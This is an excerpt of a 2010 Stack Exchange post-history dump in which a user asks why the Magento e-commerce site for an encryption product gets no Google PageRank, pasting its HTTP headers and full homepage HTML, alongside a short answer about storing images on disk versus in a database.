  <row Id="14056" PostHistoryTypeId="3" PostId="6986" RevisionGUID="27fb0b2c-e381-4a19-af5b-06e81edc4640" CreationDate="2010-12-22T03:13:11.093" UserId="4047" Text="&lt;images&gt;" />
  <row Id="14057" PostHistoryTypeId="2" PostId="6987" RevisionGUID="5c77d203-67c5-452b-a938-ff462480e7d9" CreationDate="2010-12-22T03:25:21.690" UserId="4020" Text="In general, images store directly on disk will load faster, and will be cheaper to store (because, **in general**, database space is more expensive than disk space." />
  <row Id="14058" PostHistoryTypeId="2" PostId="6988" RevisionGUID="d00f4be9-0d1d-4811-8f55-481fea50c449" CreationDate="2010-12-22T02:35:48.357" UserDisplayName="Jordan" Text="I cannot seem to receive a google page rank for encryptstick.com the site has been live for about 5 months now, we have very good linking from sources such as pcworld.com, cnet.com, pcmag.com etc.&#xD;&#xA;&#xD;&#xA;The website is magento based, could there be an issue with magento that is blocking google from reading &amp; ranking the site correctly?&#xD;&#xA;&#xD;&#xA;I've run the site through google webmaster tools as how google bot sees the site. the code is posted below.&#xD;&#xA;&#xD;&#xA;Does anyone have any comments as to why this site will not rank?&#xD;&#xA;&#xD;&#xA;    HTTP/1.1 200 OK Date: Wed, 22 Dec 2010 02:19:03 GMT Server: Apache X-Powered-By: PHP/5.2.13 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: frontend=635d30c52325df09c93409cb35461f76; expires=Wed, 22-Dec-2010 03:19:03 GMT; path=/; domain=encryptstick.com; HttpOnly Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8&#xD;&#xA;    &#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt; &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;en&quot; lang=&quot;en&quot;&gt; &lt;head&gt; &lt;title&gt;Encrypt Stick™ - 3 in 1 Digital Privacy Software - USB Encryption, Private Web Browser &amp;amp; Password Manager&lt;/title&gt; &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt; &lt;meta name=&quot;description&quot; content=&quot;Insure your digital privacy with Encrypt Stick digital privacy software. Everyone has private digital files that need extra security -  Keep your sensitive files hidden and secure at all times.&quot; /&gt; &lt;meta name=&quot;keywords&quot; content=&quot;protect files flash drive usb Encryptstick protection identity private&quot; /&gt; &lt;meta name=&quot;robots&quot; content=&quot;INDEX,FOLLOW&quot; /&gt; &lt;meta name=&quot;author&quot; content=&quot;ENC Security Systems Inc.&quot;&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://encryptstick.com/skin/frontend/default/default/css/reset.css&quot; media=&quot;all&quot; /&gt; &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://encryptstick.com/skin/frontend/default/default/css/960_24_col.css&quot; media=&quot;all&quot; /&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;link rel=&quot;icon&quot; href=&quot;http://encryptstick.com/skin/frontend/default/default/favicon.ico&quot; type=&quot;image/x-icon&quot; /&gt; &lt;link rel=&quot;shortcut icon&quot; href=&quot;http://encryptstick.com/skin/frontend/default/default/favicon.ico&quot; type=&quot;image/x-icon&quot; /&gt; &lt;script type=&quot;text/javascript&quot;&gt; //&lt;![CDATA[&#xD;&#xA;        var BLANK_URL = 'http://encryptstick.com/js/blank.html';&#xD;&#xA;        var BLANK_IMG = 'http://encryptstick.com/js/spacer.gif'; //]]&gt; &lt;/script&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://encryptstick.com/skin/frontend/base/default/css/widgets.css&quot; media=&quot;all&quot; /&gt; &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://encryptstick.com/skin/frontend/default/default/css/styles.css&quot; media=&quot;all&quot; /&gt; &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://encryptstick.com/skin/frontend/default/default/css/print.css&quot; media=&quot;print&quot; /&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/prototype/prototype.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/prototype/validation.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/scriptaculous/builder.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/scriptaculous/effects.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/scriptaculous/dragdrop.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/scriptaculous/controls.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/scriptaculous/slider.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/varien/js.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/varien/form.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/varien/menu.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/mage/translate.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/mage/cookies.js&quot;&gt;&lt;/script&gt; &lt;!--[if lt IE 8]&gt; &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://encryptstick.com/skin/frontend/default/default/css/styles-ie.css&quot; media=&quot;all&quot; /&gt; &lt;![endif]--&gt; &lt;!--[if lt IE 7]&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/js/lib/ds-sleight.js&quot;&gt;&lt;/script&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;http://encryptstick.com/skin/frontend/base/default/js/ie6.js&quot;&gt;&lt;/script&gt; &lt;![endif]--&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt; //&lt;![CDATA[ optionalZipCountries = []; //]]&gt; &lt;/script&gt; &lt;script type=&quot;text/javascript&quot;&gt;var Translator&#xD;&#xA;    = new Translate([]);&lt;/script&gt;&lt;meta name=&quot;google-site-verification&quot; content=&quot;2JhNAp-g4AbP67EhpBsV1gSpf-SUSbjdGa4ATzasr2Y&quot; /&gt; &lt;/head&gt; &lt;body class=&quot; cms-index-index cms-home&quot;&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div class=&quot;container_24 header&quot;&gt;    &lt;div class=&quot;grid_7 alpha logo&quot;&gt;   &lt;h1 class=&quot;logo&quot;&gt;&lt;strong&gt;Encrypt Stick Portable USB Encryption Software&lt;/strong&gt;&lt;a href=&quot;http://encryptstick.com/&quot; title=&quot;Encrypt Stick Portable USB Encryption Software&quot; class=&quot;logo&quot; name=&quot;thetop&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/logo.png&quot; alt=&quot;Encrypt Stick Portable USB Encryption Software&quot; /&gt;&lt;/a&gt;&lt;/h1&gt;  &lt;/div&gt;    &lt;div class=&quot;grid_17&quot;&gt;   &lt;div class=&quot;quick-access alignright&quot;&gt;&#xD;&#xA;            &lt;form action=&quot;https://encryptstick.com/newsletter/subscriber/new/&quot; method=&quot;post&quot; id=&quot;newsletter-validate-detail&quot;&gt;&#xD;&#xA;            &lt;label for=&quot;newsletter&quot;&gt;Newsletter Signup:&lt;/label&gt;&lt;br /&gt;&#xD;&#xA;                &lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;newsletter&quot; title=&quot;Sign up for our newsletter&quot; class=&quot;input-text required-entry validate-email textbox&quot;  value=&quot;Enter Your Email Address&quot; onfocus=&quot;this.value=''; this.style.color = '#000000';&quot; onblur=&quot;if (this.value == '') { this.value = 'Enter Your E-Mail Address'; this.style.color = '#777777'; }&quot; /&gt; &#xD;&#xA;                &lt;button type=&quot;submit&quot; title=&quot;Subscribe&quot; class=&quot;button&quot;&gt;&lt;span&gt;&lt;span&gt;Subscribe&lt;/span&gt;&lt;/span&gt;&lt;/button&gt;&#xD;&#xA;          &lt;/form&gt;&#xD;&#xA;            &lt;br /&gt;       &lt;ul class=&quot;links&quot;&gt;&#xD;&#xA;                &lt;li class=&quot;first&quot; &gt;&lt;a href=&quot;https://encryptstick.com/customer/account/&quot; title=&quot;My Account&quot; &gt;My Account&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                &lt;li &gt;&lt;a href=&quot;http://encryptstick.com/checkout/cart/&quot; title=&quot;My Cart&quot; class=&quot;top-link-cart&quot;&gt;My Cart&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                &lt;li &gt;&lt;a href=&quot;http://encryptstick.com/checkout/&quot; title=&quot;Checkout&quot; class=&quot;top-link-checkout&quot;&gt;Checkout&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                &lt;li class=&quot; last&quot; &gt;&lt;a href=&quot;https://encryptstick.com/customer/account/login/&quot; title=&quot;Log In&quot; &gt;Log In&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;/ul&gt; &lt;/div&gt;  &lt;/div&gt;    &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt; &lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div class=&quot;container_24 nav-container&quot;&gt;&#xD;&#xA;        &lt;div class=&quot;nav-container&quot;&gt;&#xD;&#xA;        &lt;ul id=&quot;nav&quot;&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;http://encryptstick.com/&quot;&gt;&lt;span&gt;Home&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      &lt;li onmouseover=&quot;toggleMenu(this,1)&quot; onmouseout=&quot;toggleMenu(this,0)&quot; class=&quot;level0 nav-1 parent&quot;&gt;   &lt;a href=&quot;http://encryptstick.com/what-is-encrypt-stick&quot;&gt;&lt;span&gt;Encrypt Stick&amp;trade;&lt;/span&gt;&lt;/a&gt;    &lt;ul class=&quot;level0&quot;&gt;&#xD;&#xA;        &lt;li class=&quot;level1 nav-1-1&quot;&gt;&lt;a href=&quot;http://encryptstick.com/what-is-encrypt-stick&quot;&gt;&lt;span&gt;What is Encrypt Stick&amp;trade;?&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                    &lt;li class=&quot;level1 nav-1-1&quot;&gt;&lt;a href=&quot;http://encryptstick.com/browser-overview&quot;&gt;&lt;span class=&quot;new&quot; &gt;Private Browser&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                    &lt;li class=&quot;level1 nav-1-1&quot;&gt;&lt;a href=&quot;http://encryptstick.com/password-manager-overview&quot;&gt;&lt;span&gt;Password Manager&lt;/span&gt;&lt;/a&gt;&lt;/li&gt; &#xD;&#xA;                   &lt;li class=&quot;level1 nav-1-1&quot;&gt;&lt;a href=&quot;http://encryptstick.com/free-vs-paid&quot;&gt;&lt;span&gt;Feature Comparisons&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;    &lt;/ul&gt;   &lt;/li&gt;&#xD;&#xA;         &lt;li&gt;&lt;a href=&quot;http://encryptstick.com/download&quot;&gt;&lt;span&gt;Free Download&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li onmouseover=&quot;toggleMenu(this,1)&quot; onmouseout=&quot;toggleMenu(this,0)&quot; class=&quot;level0 nav-2 parent&quot;&gt;&lt;a href=&quot;http://encryptstick.com/products/encrypt-stick-instant-license.html&quot;&gt;&lt;span&gt;Purchase&lt;/span&gt;&lt;/a&gt;&#xD;&#xA;            &#xD;&#xA;        &#xD;&#xA;                &#xD;&#xA;            &#xD;&#xA;            &lt;/li&gt;&#xD;&#xA;           &#xD;&#xA;            &lt;li onmouseover=&quot;toggleMenu(this,1)&quot; onmouseout=&quot;toggleMenu(this,0)&quot; class=&quot;level0 nav-3 parent&quot;&gt;&lt;a href=&quot;http://encryptstick.com/support&quot;&gt;&lt;span&gt;Support&lt;/span&gt;&lt;/a&gt;&#xD;&#xA;             &lt;ul class=&quot;level0&quot;&gt;&#xD;&#xA;              &lt;li class=&quot;level1 nav-3-1&quot;&gt;&lt;a href=&quot;/support&quot;&gt;&lt;span&gt;Support Center&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;              &lt;li class=&quot;level1 nav-3-2&quot;&gt;&lt;a href=&quot;http://encryptstick.com/how-to&quot;&gt;&lt;span&gt;How To Videos&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;             &lt;/ul&gt;&#xD;&#xA;            &lt;/li&gt;&#xD;&#xA;            &#xD;&#xA;            &lt;li onmouseover=&quot;toggleMenu(this,1)&quot; onmouseout=&quot;toggleMenu(this,0)&quot; class=&quot;level0 nav-4 parent&quot;&gt;&lt;a href=&quot;http://encryptstick.com/press-room&quot;&gt;&lt;span&gt;In The News&lt;/span&gt;&lt;/a&gt;&#xD;&#xA;             &lt;ul class=&quot;level0&quot;&gt;&#xD;&#xA;              &lt;li class=&quot;level1 nav-4-1&quot;&gt;&lt;a href=&quot;http://encryptstick.com/press-room&quot;&gt;&lt;span&gt;Press Room&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                    &lt;li class=&quot;level1 nav-4-2&quot;&gt;&lt;a href=&quot;http://encryptstick.com/press-releases&quot;&gt;&lt;span&gt;Press Releases&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;              &lt;li class=&quot;level1 nav-4-3&quot;&gt;&lt;a href=&quot;http://encryptstick.com/press-reviews&quot;&gt;&lt;span&gt;Press Reviews &lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;              &lt;li class=&quot;level1 nav-4-4&quot;&gt;&lt;a href=&quot;http://encryptstick.com/press-kit&quot;&gt;&lt;span&gt;Press Kit&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;             &lt;/ul&gt;&#xD;&#xA;             &#xD;&#xA;            &lt;li class=&quot;last&quot;&gt;&lt;a href=&quot;http://encryptstick.com/contact-us&quot;&gt;&lt;span&gt;Contact&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    &#xD;&#xA;                &lt;/ul&gt;&#xD;&#xA;        &#xD;&#xA;        &lt;div class=&quot;nav-buy-now&quot;&gt;&lt;a href=&quot;http://encryptstick.com/products/encrypt-stick-instant-license.html&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/nav-buy-now.jpg&quot; alt=&quot;Buy Now&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/div&gt; &lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt; function bookmarksite(title, url){ if (document.all) window.external.AddFavorite(url, title); else if (window.sidebar) window.sidebar.addPanel(title, url, &quot;&quot;) } &lt;/script&gt; &lt;a class=&quot;bookmark&quot; href=&quot;javascript:bookmarksite('Encrypt Stick - Digital Privacy Manager', 'http://encryptstick.com')&quot;&gt;&lt;/a&gt; &#xD;&#xA;        &lt;div class=&quot;container_24&quot;&gt;&#xD;&#xA;             &lt;noscript&gt;&#xD;&#xA;            &lt;div class=&quot;noscript&quot;&gt;&#xD;&#xA;                &lt;div class=&quot;noscript-inner&quot;&gt;&#xD;&#xA;                    &lt;p&gt;&lt;strong&gt;We detected that your JavaScript seem to be disabled.&lt;/strong&gt;&lt;/p&gt;&#xD;&#xA;                    &lt;p&gt;You must have JavaScript enabled in your browser to utilize the functionality of this website.&lt;/p&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/noscript&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;          &lt;div class=&quot;container_24 page&quot;&gt;&#xD;&#xA;                       &#xD;&#xA;             &lt;div class=&quot;container_24&quot;&gt;&#xD;&#xA;              &lt;div class=&quot;showcase_wrapper&quot;&gt;&#xD;&#xA;               &lt;ul id=&quot;protofade&quot;&gt;&#xD;&#xA;                            &lt;li style=&quot;display: none; &quot;&gt;&lt;a href=&quot;/holiday-promo&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/homepage/holidays.png&quot; alt=&quot;Holiday Promotion&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                            &lt;li style=&quot;display: none; &quot;&gt;&lt;a href=&quot;/stories/bob-and-mary&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/homepage/slide_1.png&quot; alt=&quot;Slide 1&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                            &lt;li style=&quot;display: none; &quot;&gt;&lt;a href=&quot;/stories/louise&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/homepage/slide_2.png&quot; alt=&quot;Slide 2&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                            &lt;li style=&quot;display: none; &quot;&gt;&lt;a href=&quot;/stories/cindy&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/homepage/slide_3.png&quot; alt=&quot;Slide 3&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                        &lt;/ul&gt;&#xD;&#xA;                        &#xD;&#xA;                        &lt;script src=&quot;/js/prototype/protofade.1.2.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;&#xD;&#xA;         &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;                            function StartUp() {&#xD;&#xA;                                new Protofade('protofade', { delay:7, duration:1.0}); &#xD;&#xA;                                }&#xD;&#xA;                                document.observe ('dom:loaded', StartUp);&#xD;&#xA;                        &lt;/script&gt;&#xD;&#xA;    &#xD;&#xA;              &lt;/div&gt;&#xD;&#xA;                    &lt;div class=&quot;metal_showcase&quot;&gt;&#xD;&#xA;                     &lt;a href=&quot;/press-room&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/press-room/PCWorld-logo.JPG&quot; alt=&quot;PC World Review&quot; /&gt;&lt;/a&gt;&#xD;&#xA;                        &lt;a href=&quot;/press-room&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/press-room/CNET-logo.JPG&quot; alt=&quot;CNET News Review&quot; /&gt;&lt;/a&gt;&#xD;&#xA;                        &lt;a href=&quot;/press-room&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/press-room/eweek.jpg&quot; alt=&quot;eWeek Review&quot; /&gt;&lt;/a&gt;&#xD;&#xA;                        &lt;a href=&quot;/press-room&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/press-room/network-world.jpg&quot; alt=&quot;Network World Review&quot; /&gt;&lt;/a&gt;&#xD;&#xA;                    &lt;/div&gt;&#xD;&#xA;             &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&#xD;&#xA;             &lt;/div&gt;&#xD;&#xA;                        &lt;div class=&quot;container_24 dark-grey-gradient&quot;&gt;&#xD;&#xA;        &lt;div class=&quot;grid_22 push_1 list-items-large&quot;&gt;&#xD;&#xA;         &lt;div class=&quot;grid_9 suffix_1 alpha&quot;&gt;&#xD;&#xA;          &lt;h3 class=&quot;homepage-subs&quot;&gt;Protect Your Files.&lt;/h3&gt;&#xD;&#xA;          &lt;p class=&quot;large&quot;&gt;Everyone has private digital files that need extra security. They&amp;rsquo;re the ones on your computer or other devices that could cause serious consequences if they fell into the wrong hands: photos, videos, financial records, identity passwords and sensitive documents. Lost or stolen devices, or violated files, put you at considerable risk of embarrassment, identity theft, financial loss and marital problems -- even job loss. Why take a chance when you can take a few seconds to permanently secure your digital privacy?&lt;/p&gt;&#xD;&#xA;          &lt;p class=&quot;large&quot;&gt;&lt;a href=&quot;/what-is-encrypt-stick&quot; class=&quot;bold&quot;&gt;Learn how to protect your files &amp;raquo;&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;         &lt;/div&gt;&#xD;&#xA;         &lt;div class=&quot;grid_12 omega&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/encrypt-files.png&quot; alt=&quot;Secure Private Files&quot; style=&quot;padding-top:10px;&quot;&gt;&lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;    &lt;/div&gt; &#xD;&#xA;       &#xD;&#xA;                &lt;div class=&quot;grid_22 push_1 alpha&quot;&gt;&#xD;&#xA;                 &lt;div class=&quot;shadow-divider&quot;&gt;&lt;/div&gt;    &lt;/div&gt;&#xD;&#xA;                    &lt;div class=&quot;container_24&quot;&gt;&#xD;&#xA;        &lt;div class=&quot;grid_22 push_1 list-items-large&quot;&gt;&#xD;&#xA;         &lt;div class=&quot;grid_12 suffix_1 alpha&quot;&gt;&#xD;&#xA;          &lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/private-browsing.jpg&quot; alt=&quot;Private Browsing&quot;&gt;&#xD;&#xA;         &lt;/div&gt;&#xD;&#xA;         &lt;div class=&quot;grid_9 omega&quot;&gt;&#xD;&#xA;          &lt;h3 class=&quot;homepage-subs&quot;&gt;Protect Your Web Browsing.&lt;/h3&gt;&#xD;&#xA;                            &lt;p class=&quot;large&quot;&gt;The Encrypt Stick&amp;trade; Digital Privacy Browser runs off any flash drive, it provides unparalleled web surfing privacy and leaves no trace whatsoever on the host computer. &lt;/p&gt;&#xD;&#xA;          &lt;p class=&quot;large&quot;&gt;Keep your web surfing activities completely private. Private from the boss, spouse, kids, friends, hackers, whomever… while you're doing online banking, surfing personal sites, web shopping or anything else that you want to keep private. Bottom line – What happens on the flash drive stays on the flash drive!&lt;/p&gt;&#xD;&#xA;                            &lt;p class=&quot;large&quot;&gt;&lt;a href=&quot;/browser-overview&quot; class=&quot;bold&quot;&gt;Learn more about private browsing &amp;raquo;&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;         &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;    &lt;/div&gt; &#xD;&#xA;                &#xD;&#xA;                &lt;div class=&quot;grid_22 push_1 alpha&quot;&gt;&#xD;&#xA;                 &lt;div class=&quot;shadow-divider&quot;&gt;&lt;/div&gt;    &lt;/div&gt;&#xD;&#xA;           &lt;div class=&quot;container_24 space-bottom&quot;&gt;&#xD;&#xA;        &lt;div class=&quot;grid_22 push_1 list-items-large &quot;&gt;&#xD;&#xA;         &lt;div class=&quot;grid_9 suffix_1 alpha&quot;&gt;&#xD;&#xA;          &lt;h3 class=&quot;homepage-subs&quot;&gt;Protect Your Passwords.&lt;/h3&gt;&#xD;&#xA;          &#xD;&#xA;                            &lt;p class=&quot;large&quot;&gt;Passwords are a key weapon against identity theft.  The stronger they are the more protection they offer.  The stronger they are, the more difficult to remember.&#xD;&#xA;                                Encrypt Stick&amp;trade; Password manager eliminates the need to remember your passwords by saving them in an encrypted database on your flash drive.&#xD;&#xA;                                The searchable, easy to use database means you can carry your passwords with you on your Flash drive and use them to access your banking accounts, online shopping accounts, web site logins, email accounts etc from any computer, in complete privacy and with total security.  With Encrypt Stick&amp;trade; you only have to remember one password.&#xD;&#xA;          &lt;/p&gt;&#xD;&#xA;                            &#xD;&#xA;                            &lt;p class=&quot;large&quot;&gt;&lt;a href=&quot;/password-manager-overview&quot; class=&quot;bold&quot;&gt;Never forget a password again - Learn More &amp;raquo;&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;         &lt;/div&gt;&#xD;&#xA;         &lt;div class=&quot;grid_12 omega&quot;&gt;&lt;img src=&quot;http://encryptstick.com/skin/frontend/default/default/images/password-manager.jpg&quot; alt=&quot;Password Manager&quot;&gt;&lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;    &lt;/div&gt; &#xD;&#xA;                &#xD;&#xA;                &lt;div class=&quot;container_24&quot;&gt;&#xD;&#xA;                &lt;center&gt;&lt;a href=&quot;#thetop&quot; class=&quot;thetop&quot;&gt;Back to the Top&lt;/a&gt;&lt;/center&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;          &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class=&quot;container_24 page-bottom&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;            &lt;div id=&quot;footer_wrapper&quot;&gt; &lt;div class=&quot;container_24&quot;&gt;&#xD;&#xA;         &#xD;&#xA;            &lt;div class=&quot;footer&quot;&gt;        &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;http://encryptstick.com/&quot;&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://encryptstick.com/what-is-encrypt-stick&quot;&gt;About&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://encryptstick.com/download&quot;&gt;Download Now!&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://encryptstick.com/products/encrypt-stick-instant-license.html&quot;&gt;&lt;strong&gt;Buy Now!&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://encryptstick.com/support&quot;&gt;Support&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://encryptstick.com/press-room&quot;&gt;Press Room&lt;/a&gt;&lt;/li&gt; &lt;li class=&quot;last&quot;&gt;&lt;a href=&quot;http://encryptstick.com/contact-us&quot;&gt;Contact Us&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;           &#xD;&#xA;                &lt;ul class=&quot;links&quot;&gt;&#xD;&#xA;                 &lt;li class=&quot;start-small&quot;&gt;&lt;a href=&quot;/privacy-policy&quot; class=&quot;small&quot;&gt;Privacy Policy&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                    &lt;li class=&quot;last&quot;&gt;&lt;a href=&quot;/terms-conditions&quot; class=&quot;small&quot;&gt;Software License Agreement&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;                &lt;/ul&gt;&#xD;&#xA;               &#xD;&#xA;                &lt;address&gt;&amp;copy; 2010 ENC Security Systems Inc. All Rights Reserved.&lt;/address&gt;    &lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;div class=&quot;social-media&quot;&gt;    &lt;div class=&quot;addthis_toolbox addthis_32x32_style addthis_default_style&quot;&gt;&#xD;&#xA;        &lt;a class=&quot;addthis_button_facebook&quot;&gt;&lt;/a&gt;&#xD;&#xA;        &lt;a class=&quot;addthis_button_twitter&quot;&gt;&lt;/a&gt;&#xD;&#xA;        &lt;a class=&quot;addthis_button_email&quot;&gt;&lt;/a&gt;&#xD;&#xA;        &lt;a class=&quot;addthis_button_google&quot;&gt;&lt;/a&gt;&#xD;&#xA;        &lt;a class=&quot;addthis_button_compact&quot;&gt;&lt;/a&gt;  &lt;/div&gt;&#xD;&#xA;        &lt;script type=&quot;text/javascript&quot; src=&quot;https://s7.addthis.com/js/250/addthis_widget.js#username=encsecurity&quot;&gt;&lt;/script&gt;&#xD;&#xA;                &#xD;&#xA;     &#xD;&#xA;        &lt;div class=&quot;verisign&quot;&gt;&lt;script class=&quot;alignright&quot; type=&quot;text/javascript&quot; src=&quot;https://seal.verisign.com/getseal?host_name=encryptstick.com&amp;amp;size=S&amp;amp;use_flash=YES&amp;amp;use_transparent=YES&amp;amp;lang=en&quot;&gt;&lt;/script&gt;&lt;/div&gt; &lt;/div&gt;&#xD;&#xA;        &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;         &#xD;&#xA;            &lt;/div&gt; &lt;/div&gt;&#xD;&#xA;             &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    &#xD;&#xA;      var _gaq = _gaq || [];  &#xD;&#xA;    _gaq.push(['_setAccount', 'UA-17243877-1']);  &#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;    &#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async&#xD;&#xA;    = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);   })();&#xD;&#xA;    &#xD;&#xA;    &lt;/script&gt;&lt;/body&gt; &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14059" PostHistoryTypeId="1" PostId="6988" RevisionGUID="d00f4be9-0d1d-4811-8f55-481fea50c449" CreationDate="2010-12-22T02:35:48.357" UserDisplayName="Jordan" Text="Google is not ranking Magento based website." />
